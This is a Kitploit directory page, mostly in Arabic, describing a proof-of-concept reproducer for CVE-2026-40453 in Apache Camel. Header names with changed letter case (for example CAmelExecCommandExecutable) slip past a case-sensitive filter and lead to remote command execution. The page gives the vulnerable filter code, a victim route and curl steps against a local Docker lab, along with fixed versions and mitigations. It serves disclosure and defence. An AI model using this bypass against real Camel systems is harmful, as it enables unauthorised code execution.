Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40453 — Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-40453
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مُعيد إنتاج حقن رأس Camel بحالة أحرف متغيرة (CVE-2026-40453)

يُوضح هذا المشروع CVE-2026-40453 — وهو إصلاح غير مكتمل لثغرة CVE-2025-27636. أضاف إصلاح 2025 setLowerCase(true) إلى HttpHeaderFilterStrategy بحيث تتم تصفية أسماء الرؤوس ذات الحالة المتغيرة (مثل CAmelExecCommandExecutable) جنبًا إلى جنب مع الاسم الأساسي CamelExecCommandExecutable. لم يتم تطبيق الاستدعاء نفسه على خمسة تطبيقات HeaderFilterStrategy غير HTTP (camel-jms, camel-sjms, camel-coap, camel-google-pubsub)، والتي تقوم بالتصفية بحساسية لحالة الأحرف بينما يخزّن Camel Exchange الرؤوس في خريطة غير حساسة لحالة الأحرف. لذلك يمكن للمهاجم حقن رأس تحكم Camel* بحالة أحرف متغيرة يتجاوز الفلتر لكنه لا يزال يُحَل بواسطة المكونات اللاحقة (camel-exec, camel-file, ...) باسمه الأساسي → تنفيذ تعليمات برمجية عن بُعد / كتابة ملفات عشوائية.

يُوضح هذا المُعيد إنتاج الثغرة باستخدام camel-coap (مكتفٍ ذاتيًا، بدون وسيط خارجي)؛ نفس الخلل يؤثر على استراتيجيات JMS/SJMS/Google-Pubsub.

النشرة الأمنية: https://camel.apache.org/security/CVE-2026-40453.html

ملخص الثغرة

تفاصيل فنية

يقوم CoAPHeaderFilterStrategy (في الإصدار المتأثر) بتصفية رؤوس Camel* بحساسية لحالة الأحرف:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

عند وصول طلب CoAP، يقوم CamelCoapResource.handleRequest() بتعيين كل معلمة من معلمات استعلام URI إلى رؤوس Exchange In، مقيدة بواسطة strategy.applyFilterToExternalHeaders(name, value, exchange):

  • CamelExecCommandExecutable — startsWith("Camel") تُرجع true → تُصفَّى.
  • CAmelExecCommandExecutable — startsWith("Camel") تُرجع false (CAm ≠ Cam) → لا تُصفَّى.

خريطة رؤوس Exchange غير حساسة لحالة الأحرف، لذلك يتم لاحقًا حل الرأس ذي الحالة المتغيرة بواسطة منتج exec تحت اسمه الأساسي CamelExecCommandExecutable، متجاوزًا الأمر.

المسار المُستهدَف

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

المتطلبات الأساسية

  • Java 17+ و Maven 3.8+
  • Docker

خطوات إعادة الإنتاج

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) غير ضار

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) الرأس الأساسي — مُصفّى (بدون RCE)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) الرأس بحالة أحرف متغيرة — تجاوز (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

التنظيف

root@kitploit:~
docker compose down

الإصلاح الموصى به

قم بالترقية إلى 4.14.6 / 4.18.2 / 4.20.0. يضيف الإصلاح (CAMEL-23313) setLowerCase(true) إلى تطبيقات HeaderFilterStrategy الخمسة غير HTTP بحيث يتم أيضًا تصفية أسماء Camel* ذات الحالة المتغيرة.

تخفيف الأثر

إلى حين الترقية:

  1. قم بإزالة رؤوس Camel بشكل غير حساس لحالة الأحرف بعد المنتجين غير الموثوقين — عبر HeaderFilterStrategy مخصص مع setLowerCase(true)، أو removeHeaders بنمط غير حساس لحالة الأحرف.
  2. تجنّب تمرير رسائل JMS / CoAP / Pub-Sub غير الموثوقة إلى المنتجين المعتمدين على الرؤوس.

الملفات

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

إخلاء مسؤولية

تم توفير هذا المُعيد إنتاج الثغرة لأغراض البحث الأمني والاختبار المصرح به فقط، وذلك لثغرة مُعلنة للعموم ومُصلحة. لا تستخدمه ضد أي أنظمة دون إذن صريح.

تنزيل الأداة
الخاصيةالقيمة
المكوناتcamel-jms, camel-sjms, camel-coap, camel-google-pubsub (يستخدم هذا الـ PoC مكوّن camel-coap)
الفئات المتأثرةJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
السبب الجذريتصفية startsWith("Camel"/"camel") حساسة لحالة الأحرف (افتقاد setLowerCase(true)) مقابل خريطة رؤوس Exchange غير حساسة لحالة الأحرف
CWECWE-20 (التحقق غير السليم من المدخلات) — حقن رأس الرسالة
الأثرتنفيذ تعليمات برمجية عن بُعد / كتابة ملفات عشوائية عبر المنتجين المعتمدين على الرؤوس
الإصدارات المتأثرةمن 3.0.0 قبل 4.14.6، من 4.15.0 قبل 4.18.2، من 4.19.0 قبل 4.20.0
الإصدارات المُصلحة4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (يكمل إصلاح CVE-2025-27636)
المُبلِّغSaroj Khadka